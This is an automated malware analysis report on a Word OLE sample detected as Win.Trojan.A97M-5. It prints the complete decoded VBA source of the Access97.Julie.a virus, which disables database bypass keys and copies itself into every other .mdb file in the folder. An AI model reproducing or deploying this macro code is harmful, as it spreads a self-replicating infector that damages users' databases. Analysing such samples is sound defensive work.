Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 272b8963f440b8d5…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-12-30 18:33:00 Authoring application: Microsoft Word 9.0 First seen: 2015-10-02
MD5: c7a1ffc02865706fcf2ca2a6ce457260 SHA-1: 023060f64a8660196ff9bb5a636ab4592edf138d SHA-256: 272b8963f440b8d53fac1f2793c5406386782d2a581387a5eba6529948bbdb9c
80 Risk Score

Heuristics 2

  • ClamAV: Win.Trojan.A97M-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.A97M-5
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1168 bytes
SHA-256: a5fca28269d8b14d0488073cbaf88f88818f72497f2416d2422dead7c12e822d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Option Compare Database
Option Explicit
Dim Julie As String
Function Julie()
On Error Resume Next
'Access97.Julie.a
'by -KD- / [Metaphase VX Team] & [NoMercyVirusTeam]
CurrentDb.Properties("AllowBypassKey") = False
CurrentDb.Properties("AllowSpecialKeys") = False
CurrentDb.Properties("AllowBreakIntoCode") = False
Application.DisplayStatusBar = False
Julie = Dir("*.mdb", vbNormal)
Do While Julie <> ""
If CurDir & "\" & Julie <> CurrentDb.Name Then
DoCmd.TransferDatabase acExport, "Microsoft Access", Julie, acMacro, "AutoExec", "AutoExec"
DoCmd.TransferDatabase acExport, "Microsoft Access", Julie, acModule, "Julie", "Julie"
End If
On Error GoTo Exit_Payload
If Day(Now()) = Int(Rnd() * 28) + 1 Then
MsgBox "Access97.Julie.a", "Someday We Will All Have Perfect Wings"
End If
Exit_Payload:
Julie = Dir()
Loop
End Function